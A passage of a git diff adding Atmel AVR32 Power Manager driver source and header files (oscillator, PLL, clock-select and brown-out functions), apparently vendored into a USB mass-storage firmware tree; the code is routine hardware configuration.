POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + *****************************************************************************/ + + +#include "compiler.h" +#include "pm.h" + + +/*! \name PM Writable Bit-Field Registers + */ +//! @{ + +typedef union +{ + unsigned long mcctrl; + avr32_pm_mcctrl_t MCCTRL; +} u_avr32_pm_mcctrl_t; + +typedef union +{ + unsigned long cksel; + avr32_pm_cksel_t CKSEL; +} u_avr32_pm_cksel_t; + +typedef union +{ + unsigned long pll; + avr32_pm_pll_t PLL; +} u_avr32_pm_pll_t; + +typedef union +{ + unsigned long oscctrl0; + avr32_pm_oscctrl0_t OSCCTRL0; +} u_avr32_pm_oscctrl0_t; + +typedef union +{ + unsigned long oscctrl1; + avr32_pm_oscctrl1_t OSCCTRL1; +} u_avr32_pm_oscctrl1_t; + +typedef union +{ + unsigned long oscctrl32; + avr32_pm_oscctrl32_t OSCCTRL32; +} u_avr32_pm_oscctrl32_t; + +typedef union +{ + unsigned long ier; + avr32_pm_ier_t IER; +} u_avr32_pm_ier_t; + +typedef union +{ + unsigned long idr; + avr32_pm_idr_t IDR; +} u_avr32_pm_idr_t; + +typedef union +{ + unsigned long icr; + avr32_pm_icr_t ICR; +} u_avr32_pm_icr_t; + +typedef union +{ + unsigned long gcctrl; + avr32_pm_gcctrl_t GCCTRL; +} u_avr32_pm_gcctrl_t; + +typedef union +{ + unsigned long rccr; + avr32_pm_rccr_t RCCR; +} u_avr32_pm_rccr_t; + +typedef union +{ + unsigned long bgcr; + avr32_pm_bgcr_t BGCR; +} u_avr32_pm_bgcr_t; + +typedef union +{ + unsigned long vregcr; + avr32_pm_vregcr_t VREGCR; +} u_avr32_pm_vregcr_t; + +typedef union +{ + unsigned long bod; + avr32_pm_bod_t BOD; +} u_avr32_pm_bod_t; + +//! @} + + +/*! \brief Sets the mode of the oscillator 0. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM). + * \param mode Oscillator 0 mode (i.e. AVR32_PM_OSCCTRL0_MODE_x). + */ +static void pm_set_osc0_mode(volatile avr32_pm_t *pm, unsigned int mode) +{ + // Read + u_avr32_pm_oscctrl0_t u_avr32_pm_oscctrl0 = {pm->oscctrl0}; + // Modify + u_avr32_pm_oscctrl0.OSCCTRL0.mode = mode; + // Write + pm->oscctrl0 = u_avr32_pm_oscctrl0.oscctrl0; +} + + +void pm_enable_osc0_ext_clock(volatile avr32_pm_t *pm) +{ + pm_set_osc0_mode(pm, AVR32_PM_OSCCTRL0_MODE_EXT_CLOCK); +} + + +void pm_enable_osc0_crystal(volatile avr32_pm_t *pm, unsigned int fosc0) +{ + pm_set_osc0_mode(pm, (fosc0 < 900000) ? AVR32_PM_OSCCTRL0_MODE_CRYSTAL_G0 : + (fosc0 < 3000000) ? AVR32_PM_OSCCTRL0_MODE_CRYSTAL_G1 : + (fosc0 < 8000000) ? AVR32_PM_OSCCTRL0_MODE_CRYSTAL_G2 : + AVR32_PM_OSCCTRL0_MODE_CRYSTAL_G3); +} + + +void pm_enable_clk0(volatile avr32_pm_t *pm, unsigned int startup) +{ + pm_enable_clk0_no_wait(pm, startup); + pm_wait_for_clk0_ready(pm); +} + + +void pm_disable_clk0(volatile avr32_pm_t *pm) +{ + pm->mcctrl &= ~AVR32_PM_MCCTRL_OSC0EN_MASK; +} + + +void pm_enable_clk0_no_wait(volatile avr32_pm_t *pm, unsigned int startup) +{ + // Read register + u_avr32_pm_oscctrl0_t u_avr32_pm_oscctrl0 = {pm->oscctrl0}; + // Modify + u_avr32_pm_oscctrl0.OSCCTRL0.startup = startup; + // Write back + pm->oscctrl0 = u_avr32_pm_oscctrl0.oscctrl0; + + pm->mcctrl |= AVR32_PM_MCCTRL_OSC0EN_MASK; +} + + +void pm_wait_for_clk0_ready(volatile avr32_pm_t *pm) +{ + while (!(pm->poscsr & AVR32_PM_POSCSR_OSC0RDY_MASK)); +} + + +/*! \brief Sets the mode of the oscillator 1. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM). + * \param mode Oscillator 1 mode (i.e. AVR32_PM_OSCCTRL1_MODE_x). + */ +static void pm_set_osc1_mode(volatile avr32_pm_t *pm, unsigned int mode) +{ + // Read + u_avr32_pm_oscctrl1_t u_avr32_pm_oscctrl1 = {pm->oscctrl1}; + // Modify + u_avr32_pm_oscctrl1.OSCCTRL1.mode = mode; + // Write + pm->oscctrl1 = u_avr32_pm_oscctrl1.oscctrl1; +} + + +void pm_enable_osc1_ext_clock(volatile avr32_pm_t *pm) +{ + pm_set_osc1_mode(pm, AVR32_PM_OSCCTRL1_MODE_EXT_CLOCK); +} + + +void pm_enable_osc1_crystal(volatile avr32_pm_t *pm, unsigned int fosc1) +{ + pm_set_osc1_mode(pm, (fosc1 < 900000) ? AVR32_PM_OSCCTRL1_MODE_CRYSTAL_G0 : + (fosc1 < 3000000) ? AVR32_PM_OSCCTRL1_MODE_CRYSTAL_G1 : + (fosc1 < 8000000) ? AVR32_PM_OSCCTRL1_MODE_CRYSTAL_G2 : + AVR32_PM_OSCCTRL1_MODE_CRYSTAL_G3); +} + + +void pm_enable_clk1(volatile avr32_pm_t *pm, unsigned int startup) +{ + pm_enable_clk1_no_wait(pm, startup); + pm_wait_for_clk1_ready(pm); +} + + +void pm_disable_clk1(volatile avr32_pm_t *pm) +{ + pm->mcctrl &= ~AVR32_PM_MCCTRL_OSC1EN_MASK; +} + + +void pm_enable_clk1_no_wait(volatile avr32_pm_t *pm, unsigned int startup) +{ + // Read register + u_avr32_pm_oscctrl1_t u_avr32_pm_oscctrl1 = {pm->oscctrl1}; + // Modify + u_avr32_pm_oscctrl1.OSCCTRL1.startup = startup; + // Write back + pm->oscctrl1 = u_avr32_pm_oscctrl1.oscctrl1; + + pm->mcctrl |= AVR32_PM_MCCTRL_OSC1EN_MASK; +} + + +void pm_wait_for_clk1_ready(volatile avr32_pm_t *pm) +{ + while (!(pm->poscsr & AVR32_PM_POSCSR_OSC1RDY_MASK)); +} + + +/*! \brief Sets the mode of the 32-kHz oscillator. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM). + * \param mode 32-kHz oscillator mode (i.e. AVR32_PM_OSCCTRL32_MODE_x). + */ +static void pm_set_osc32_mode(volatile avr32_pm_t *pm, unsigned int mode) +{ + // Read + u_avr32_pm_oscctrl32_t u_avr32_pm_oscctrl32 = {pm->oscctrl32}; + // Modify + u_avr32_pm_oscctrl32.OSCCTRL32.mode = mode; + // Write + pm->oscctrl32 = u_avr32_pm_oscctrl32.oscctrl32; +} + + +void pm_enable_osc32_ext_clock(volatile avr32_pm_t *pm) +{ + pm_set_osc32_mode(pm, AVR32_PM_OSCCTRL32_MODE_EXT_CLOCK); +} + + +void pm_enable_osc32_crystal(volatile avr32_pm_t *pm) +{ + pm_set_osc32_mode(pm, AVR32_PM_OSCCTRL32_MODE_CRYSTAL); +} + + +void pm_enable_clk32(volatile avr32_pm_t *pm, unsigned int startup) +{ + pm_enable_clk32_no_wait(pm, startup); + pm_wait_for_clk32_ready(pm); +} + + +void pm_disable_clk32(volatile avr32_pm_t *pm) +{ + pm->oscctrl32 &= ~AVR32_PM_OSCCTRL32_OSC32EN_MASK; +} + + +void pm_enable_clk32_no_wait(volatile avr32_pm_t *pm, unsigned int startup) +{ + // Read register + u_avr32_pm_oscctrl32_t u_avr32_pm_oscctrl32 = {pm->oscctrl32}; + // Modify + u_avr32_pm_oscctrl32.OSCCTRL32.osc32en = 1; + u_avr32_pm_oscctrl32.OSCCTRL32.startup = startup; + // Write back + pm->oscctrl32 = u_avr32_pm_oscctrl32.oscctrl32; +} + + +void pm_wait_for_clk32_ready(volatile avr32_pm_t *pm) +{ + while (!(pm->poscsr & AVR32_PM_POSCSR_OSC32RDY_MASK)); +} + + +void pm_cksel_get(volatile avr32_pm_t *pm, unsigned long *p_cksel) +{ + *p_cksel = pm->cksel; +} + + +void pm_cksel_set(volatile avr32_pm_t *pm, unsigned long cksel) +{ + pm->cksel = cksel; + + // Wait for ckrdy bit and then clear it + while (!(pm->poscsr & AVR32_PM_POSCSR_CKRDY_MASK)); +} + + +void pm_cksel(volatile avr32_pm_t *pm, + unsigned int pbadiv, + unsigned int pbasel, + unsigned int pbbdiv, + unsigned int pbbsel, + unsigned int hsbdiv, + unsigned int hsbsel) +{ + u_avr32_pm_cksel_t u_avr32_pm_cksel = {0}; + + u_avr32_pm_cksel.CKSEL.cpusel = hsbsel; + u_avr32_pm_cksel.CKSEL.cpudiv = hsbdiv; + u_avr32_pm_cksel.CKSEL.hsbsel = hsbsel; + u_avr32_pm_cksel.CKSEL.hsbdiv = hsbdiv; + u_avr32_pm_cksel.CKSEL.pbasel = pbasel; + u_avr32_pm_cksel.CKSEL.pbadiv = pbadiv; + u_avr32_pm_cksel.CKSEL.pbbsel = pbbsel; + u_avr32_pm_cksel.CKSEL.pbbdiv = pbbdiv; + + pm->cksel = u_avr32_pm_cksel.cksel; + + // Wait for ckrdy bit and then clear it + while (!(pm->poscsr & AVR32_PM_POSCSR_CKRDY_MASK)); +} + + +void pm_gc_setup(volatile avr32_pm_t *pm, + unsigned int gc, + unsigned int osc_or_pll, // Use Osc (=0) or PLL (=1) + unsigned int pll_osc, // Sel Osc0/PLL0 or Osc1/PLL1 + unsigned int diven, + unsigned int div) +{ + u_avr32_pm_gcctrl_t u_avr32_pm_gcctrl = {0}; + + u_avr32_pm_gcctrl.GCCTRL.oscsel = pll_osc; + u_avr32_pm_gcctrl.GCCTRL.pllsel = osc_or_pll; + u_avr32_pm_gcctrl.GCCTRL.diven = diven; + u_avr32_pm_gcctrl.GCCTRL.div = div; + + pm->gcctrl[gc] = u_avr32_pm_gcctrl.gcctrl; +} + + +void pm_gc_enable(volatile avr32_pm_t *pm, + unsigned int gc) +{ + pm->gcctrl[gc] |= AVR32_PM_GCCTRL_CEN_MASK; +} + + +void pm_gc_disable(volatile avr32_pm_t *pm, + unsigned int gc) +{ + pm->gcctrl[gc] &= ~AVR32_PM_GCCTRL_CEN_MASK; +} + + +void pm_pll_setup(volatile avr32_pm_t *pm, + unsigned int pll, + unsigned int mul, + unsigned int div, + unsigned int osc, + unsigned int lockcount) +{ + u_avr32_pm_pll_t u_avr32_pm_pll = {0}; + + u_avr32_pm_pll.PLL.pllosc = osc; + u_avr32_pm_pll.PLL.plldiv = div; + u_avr32_pm_pll.PLL.pllmul = mul; + u_avr32_pm_pll.PLL.pllcount = lockcount; + + pm->pll[pll] = u_avr32_pm_pll.pll; +} + + +void pm_pll_set_option(volatile avr32_pm_t *pm, + unsigned int pll, + unsigned int pll_freq, + unsigned int pll_div2, + unsigned int pll_wbwdisable) +{ + u_avr32_pm_pll_t u_avr32_pm_pll = {pm->pll[pll]}; + u_avr32_pm_pll.PLL.pllopt = pll_freq | (pll_div2 << 1) | (pll_wbwdisable << 2); + pm->pll[pll] = u_avr32_pm_pll.pll; +} + + +unsigned int pm_pll_get_option(volatile avr32_pm_t *pm, + unsigned int pll) +{ + return (pm->pll[pll] & AVR32_PM_PLLOPT_MASK) >> AVR32_PM_PLLOPT_OFFSET; +} + + +void pm_pll_enable(volatile avr32_pm_t *pm, + unsigned int pll) +{ + pm->pll[pll] |= AVR32_PM_PLLEN_MASK; +} + + +void pm_pll_disable(volatile avr32_pm_t *pm, + unsigned int pll) +{ + pm->pll[pll] &= ~AVR32_PM_PLLEN_MASK; +} + + +void pm_wait_for_pll0_locked(volatile avr32_pm_t *pm) +{ + while (!(pm->poscsr & AVR32_PM_POSCSR_LOCK0_MASK)); +} + + +void pm_wait_for_pll1_locked(volatile avr32_pm_t *pm) +{ + while (!(pm->poscsr & AVR32_PM_POSCSR_LOCK1_MASK)); +} + + +unsigned long pm_get_clock(volatile avr32_pm_t *pm) +{ + u_avr32_pm_mcctrl_t u_avr32_pm_mcctrl = {pm->mcctrl}; + return u_avr32_pm_mcctrl.MCCTRL.mcsel; +} + + +void pm_switch_to_clock(volatile avr32_pm_t *pm, unsigned long clock) +{ + // Read + u_avr32_pm_mcctrl_t u_avr32_pm_mcctrl = {pm->mcctrl}; + // Modify + u_avr32_pm_mcctrl.MCCTRL.mcsel = clock; + // Write back + pm->mcctrl = u_avr32_pm_mcctrl.mcctrl; +} + + +void pm_switch_to_osc0(volatile avr32_pm_t *pm, unsigned int fosc0, unsigned int startup) +{ + pm_enable_osc0_crystal(pm, fosc0); // Enable the Osc0 in crystal mode + pm_enable_clk0(pm, startup); // Crystal startup time - This parameter is critical and depends on the characteristics of the crystal + pm_switch_to_clock(pm, AVR32_PM_MCSEL_OSC0); // Then switch main clock to Osc0 +} + + +void pm_bod_enable_irq(volatile avr32_pm_t *pm) +{ + pm->ier = AVR32_PM_IER_BODDET_MASK; +} + + +void pm_bod_disable_irq(volatile avr32_pm_t *pm) +{ + bool global_interrupt_enabled = cpu_irq_is_enabled(); + + if (global_interrupt_enabled) cpu_irq_disable(); + pm->idr = AVR32_PM_IDR_BODDET_MASK; + pm->isr; + if (global_interrupt_enabled) cpu_irq_enable(); +} + + +void pm_bod_clear_irq(volatile avr32_pm_t *pm) +{ + pm->icr = AVR32_PM_ICR_BODDET_MASK; +} + + +unsigned long pm_bod_get_irq_status(volatile avr32_pm_t *pm) +{ + return ((pm->isr & AVR32_PM_ISR_BODDET_MASK) != 0); +} + + +unsigned long pm_bod_get_irq_enable_bit(volatile avr32_pm_t *pm) +{ + return ((pm->imr & AVR32_PM_IMR_BODDET_MASK) != 0); +} + + +unsigned long pm_bod_get_level(volatile avr32_pm_t *pm) +{ + return (pm->bod & AVR32_PM_BOD_LEVEL_MASK) >> AVR32_PM_BOD_LEVEL_OFFSET; +} + + +unsigned long pm_read_gplp(volatile avr32_pm_t *pm, unsigned long gplp) +{ + return pm->gplp[gplp]; +} + + +void pm_write_gplp(volatile avr32_pm_t *pm, unsigned long gplp, unsigned long value) +{ + pm->gplp[gplp] = value; +} + + +long pm_enable_module(volatile avr32_pm_t *pm, unsigned long module) +{ + unsigned long domain = module>>5; + unsigned long *regptr = (unsigned long*)(&(pm->cpumask) + domain); + + // Implementation-specific shortcut: the ckMASK registers are contiguous and + // memory-mapped in that order: CPUMASK, HSBMASK, PBAMASK, PBBMASK. + + *regptr |= (1<<(module%32)); + + return PASS; +} + +long pm_disable_module(volatile avr32_pm_t *pm, unsigned long module) +{ + unsigned long domain = module>>5; + unsigned long *regptr = (unsigned long*)(&(pm->cpumask) + domain); + + // Implementation-specific shortcut: the ckMASK registers are contiguous and + // memory-mapped in that order: CPUMASK, HSBMASK, PBAMASK, PBBMASK. + + *regptr &= ~(1<<(module%32)); + + return PASS; +} diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/pm/pm.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/pm/pm.h new file mode 100755 index 0000000..df970f6 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/pm/pm.h @@ -0,0 +1,556 @@ +/***************************************************************************** + * + * \file + * + * \brief Power Manager driver. + * + * Copyright (c) 2009-2011 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + *****************************************************************************/ + + +#ifndef _PM_H_ +#define _PM_H_ + +/** + * \defgroup group_avr32_drivers_pm CPU - PM - Power Manager + * + * The Power Manager (PM) controls the oscillators and PLLs, and generates the clocks and resets in the device. + * + * \{ + */ + +#include +#include "compiler.h" +#include "preprocessor.h" + + +/*! \name Sleep Functions + */ +//! @{ + +/*! \brief Sets the MCU in the specified sleep mode. + * + * \param mode Sleep mode: + * \arg \c AVR32_PM_SMODE_IDLE: Idle; + * \arg \c AVR32_PM_SMODE_FROZEN: Frozen; + * \arg \c AVR32_PM_SMODE_STANDBY: Standby; + * \arg \c AVR32_PM_SMODE_STOP: Stop; + * \arg \c AVR32_PM_SMODE_DEEP_STOP: DeepStop; + * \arg \c AVR32_PM_SMODE_STATIC: Static. + */ +#define SLEEP(mode) {__asm__ __volatile__ ("sleep "STRINGZ(mode));} + +/*! \brief Enable one or several asynchronous wake-up source. + * + * \param awen_mask Mask of asynchronous wake-up sources (use one of the defines + * AVR32_PM_AWEN_xxxxWEN_MASK in the part-specific header file under + * "toolchain folder"/avr32/inc(lude)/avr32/) + */ +#if defined (__GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void pm_asyn_wake_up_enable(unsigned long awen_mask) +{ + AVR32_PM.awen |= awen_mask; +} + +/*! \brief Disable one or several asynchronous wake-up sources + * + * \param awen_mask Mask of asynchronous wake-up sources (use one of the defines + * AVR32_PM_AWEN_xxxxWEN_MASK in the part-specific header file under + * "toolchain folder"/avr32/inc(lude)/avr32/) + */ +#if defined (__GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void pm_asyn_wake_up_disable(unsigned long awen_mask) +{ + AVR32_PM.awen &= ~awen_mask; +} + +//! @} + + +//! Input and output parameters when initializing PM clocks using pm_configure_clocks(). +typedef struct +{ + //! CPU frequency (input/output argument). + unsigned long cpu_f; + + //! PBA frequency (input/output argument). + unsigned long pba_f; + + //! Oscillator 0's external crystal(or external clock) frequency (board dependant) (input argument). + unsigned long osc0_f; + + //! Oscillator 0's external crystal(or external clock) startup time: AVR32_PM_OSCCTRL0_STARTUP_x_RCOSC (input argument). + unsigned long osc0_startup; +} pm_freq_param_t; + +#define PM_FREQ_STATUS_FAIL (-1) +#define PM_FREQ_STATUS_OK (0) + + +/*! \brief Gets the MCU reset cause. + * + * \param pm Base address of the Power Manager instance (i.e. &AVR32_PM). + * + * \return The MCU reset cause which can be masked with the + * \c AVR32_PM_RCAUSE_x_MASK bit-masks to isolate specific causes. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline unsigned int pm_get_reset_cause(volatile avr32_pm_t *pm) +{ + return pm->rcause; +} + + +/*! + * \brief This function will enable the external clock mode of the oscillator 0. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_enable_osc0_ext_clock(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will enable the crystal mode of the oscillator 0. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param fosc0 Oscillator 0 crystal frequency (Hz) + */ +extern void pm_enable_osc0_crystal(volatile avr32_pm_t *pm, unsigned int fosc0); + + +/*! + * \brief This function will enable the oscillator 0 to be used with a startup time. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param startup Clock 0 startup time. AVR32_PM_OSCCTRL0_STARTUP_x_RCOSC. + */ +extern void pm_enable_clk0(volatile avr32_pm_t *pm, unsigned int startup); + + +/*! + * \brief This function will disable the oscillator 0. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_disable_clk0(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will enable the oscillator 0 to be used with no startup time. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param startup Clock 0 startup time, for which the function does not wait. AVR32_PM_OSCCTRL0_STARTUP_x_RCOSC. + */ +extern void pm_enable_clk0_no_wait(volatile avr32_pm_t *pm, unsigned int startup); + + +/*! + * \brief This function will wait until the Osc0 clock is ready. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_wait_for_clk0_ready(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will enable the external clock mode of the oscillator 1. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_enable_osc1_ext_clock(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will enable the crystal mode of the oscillator 1. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param fosc1 Oscillator 1 crystal frequency (Hz) + */ +extern void pm_enable_osc1_crystal(volatile avr32_pm_t *pm, unsigned int fosc1); + + +/*! + * \brief This function will enable the oscillator 1 to be used with a startup time. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param startup Clock 1 startup time. AVR32_PM_OSCCTRL1_STARTUP_x_RCOSC. + */ +extern void pm_enable_clk1(volatile avr32_pm_t *pm, unsigned int startup); + + +/*! + * \brief This function will disable the oscillator 1. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_disable_clk1(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will enable the oscillator 1 to be used with no startup time. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param startup Clock 1 startup time, for which the function does not wait. AVR32_PM_OSCCTRL1_STARTUP_x_RCOSC. + */ +extern void pm_enable_clk1_no_wait(volatile avr32_pm_t *pm, unsigned int startup); + + +/*! + * \brief This function will wait until the Osc1 clock is ready. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_wait_for_clk1_ready(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will enable the external clock mode of the 32-kHz oscillator. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_enable_osc32_ext_clock(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will enable the crystal mode of the 32-kHz oscillator. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_enable_osc32_crystal(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will enable the oscillator 32 to be used with a startup time. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param startup Clock 32 kHz startup time. AVR32_PM_OSCCTRL32_STARTUP_x_RCOSC. + */ +extern void pm_enable_clk32(volatile avr32_pm_t *pm, unsigned int startup); + + +/*! + * \brief This function will disable the oscillator 32. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_disable_clk32(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will enable the oscillator 32 to be used with no startup time. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param startup Clock 32 kHz startup time, for which the function does not wait. AVR32_PM_OSCCTRL32_STARTUP_x_RCOSC. + */ +extern void pm_enable_clk32_no_wait(volatile avr32_pm_t *pm, unsigned int startup); + + +/*! + * \brief This function will wait until the osc32 clock is ready. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_wait_for_clk32_ready(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will select all the power manager clocks. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param pbadiv Peripheral Bus A clock divisor enable + * \param pbasel Peripheral Bus A select + * \param pbbdiv Peripheral Bus B clock divisor enable + * \param pbbsel Peripheral Bus B select + * \param hsbdiv High Speed Bus clock divisor enable (CPU clock = HSB clock) + * \param hsbsel High Speed Bus select (CPU clock = HSB clock ) + */ +extern void pm_cksel(volatile avr32_pm_t *pm, unsigned int pbadiv, unsigned int pbasel, unsigned int pbbdiv, unsigned int pbbsel, unsigned int hsbdiv, unsigned int hsbsel); + + +/*! + * \brief This function will setup a generic clock. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param gc generic clock number (0 for gc0...) + * \param osc_or_pll Use OSC (=0) or PLL (=1) + * \param pll_osc Select Osc0/PLL0 or Osc1/PLL1 + * \param diven Generic clock divisor enable + * \param div Generic clock divisor + */ +extern void pm_gc_setup(volatile avr32_pm_t *pm, unsigned int gc, unsigned int osc_or_pll, unsigned int pll_osc, unsigned int diven, unsigned int div); + + +/*! + * \brief This function will enable a generic clock. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param gc generic clock number (0 for gc0...) + */ +extern void pm_gc_enable(volatile avr32_pm_t *pm, unsigned int gc); + + +/*! + * \brief This function will disable a generic clock. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param gc generic clock number (0 for gc0...) + */ +extern void pm_gc_disable(volatile avr32_pm_t *pm, unsigned int gc); + + +/*! + * \brief This function will setup a PLL. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param pll PLL number(0 for PLL0, 1 for PLL1) + * \param mul PLL MUL in the PLL formula + * \param div PLL DIV in the PLL formula + * \param osc OSC number (0 for osc0, 1 for osc1) + * \param lockcount PLL lockount + */ +extern void pm_pll_setup(volatile avr32_pm_t *pm, unsigned int pll, unsigned int mul, unsigned int div, unsigned int osc, unsigned int lockcount); + + +/*! + * \brief This function will set a PLL option. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param pll PLL number(0 for PLL0, 1 for PLL1) + * \param pll_freq Set to 1 for VCO frequency range 80-180MHz, set to 0 for VCO frequency range 160-240Mhz. + * \param pll_div2 Divide the PLL output frequency by 2 (this settings does not change the FVCO value) + * \param pll_wbwdisable 1 Disable the Wide-Bandith Mode (Wide-Bandwith mode allow a faster startup time and out-of-lock time). 0 to enable the Wide-Bandith Mode. + */ +extern void pm_pll_set_option(volatile avr32_pm_t *pm, unsigned int pll, unsigned int pll_freq, unsigned int pll_div2, unsigned int pll_wbwdisable); + + +/*! + * \brief This function will get a PLL option. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param pll PLL number(0 for PLL0, 1 for PLL1) + * \return Option + */ +extern unsigned int pm_pll_get_option(volatile avr32_pm_t *pm, unsigned int pll); + + +/*! + * \brief This function will enable a PLL. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param pll PLL number(0 for PLL0, 1 for PLL1) + */ +extern void pm_pll_enable(volatile avr32_pm_t *pm, unsigned int pll); + + +/*! + * \brief This function will disable a PLL. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param pll PLL number(0 for PLL0, 1 for PLL1) + */ +extern void pm_pll_disable(volatile avr32_pm_t *pm, unsigned int pll); + + +/*! + * \brief This function will wait for PLL0 locked + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_wait_for_pll0_locked(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will wait for PLL1 locked + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_wait_for_pll1_locked(volatile avr32_pm_t *pm); + + +/*! + * \brief This function returns the cksel (Clock Select). + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param p_cksel output cksel value +*/ +extern void pm_cksel_get(volatile avr32_pm_t *pm, unsigned long* p_cksel); + + +/*! + * \brief This function set the cksel (Clock Select). + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param cksel The cksel value. +*/ +extern void pm_cksel_set(volatile avr32_pm_t *pm, unsigned long cksel); + + +/*! + * \brief This function returns the power manager main clock. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \retval The main clock value. +*/ +extern unsigned long pm_get_clock(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will switch the power manager main clock. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param clock Clock to be switched on. AVR32_PM_MCSEL_SLOW for RCOsc, AVR32_PM_MCSEL_OSC0 for Osc0, AVR32_PM_MCSEL_PLL0 for PLL0. + */ +extern void pm_switch_to_clock(volatile avr32_pm_t *pm, unsigned long clock); + + +/*! + * \brief Switch main clock to clock Osc0 (crystal mode) + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param fosc0 Oscillator 0 crystal frequency (Hz) + * \param startup Crystal 0 startup time. AVR32_PM_OSCCTRL0_STARTUP_x_RCOSC. + */ +extern void pm_switch_to_osc0(volatile avr32_pm_t *pm, unsigned int fosc0, unsigned int startup); + + +/*! \brief Enables the Brown-Out Detector interrupt. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM). + */ +extern void pm_bod_enable_irq(volatile avr32_pm_t *pm); + + +/*! \brief Disables the Brown-Out Detector interrupt. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM). + */ +extern void pm_bod_disable_irq(volatile avr32_pm_t *pm); + + +/*! \brief Clears the Brown-Out Detector interrupt flag. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM). + */ +extern void pm_bod_clear_irq(volatile avr32_pm_t *pm); + + +/*! \brief Gets the Brown-Out Detector interrupt flag. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM). + * + * \retval 0 No BOD interrupt. + * \retval 1 BOD interrupt pending. + */ +extern unsigned long pm_bod_get_irq_status(volatile avr32_pm_t *pm); + + +/*! \brief Gets the Brown-Out Detector interrupt enable status. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM). + * + * \retval 0 BOD interrupt disabled. + * \retval 1 BOD interrupt enabled. 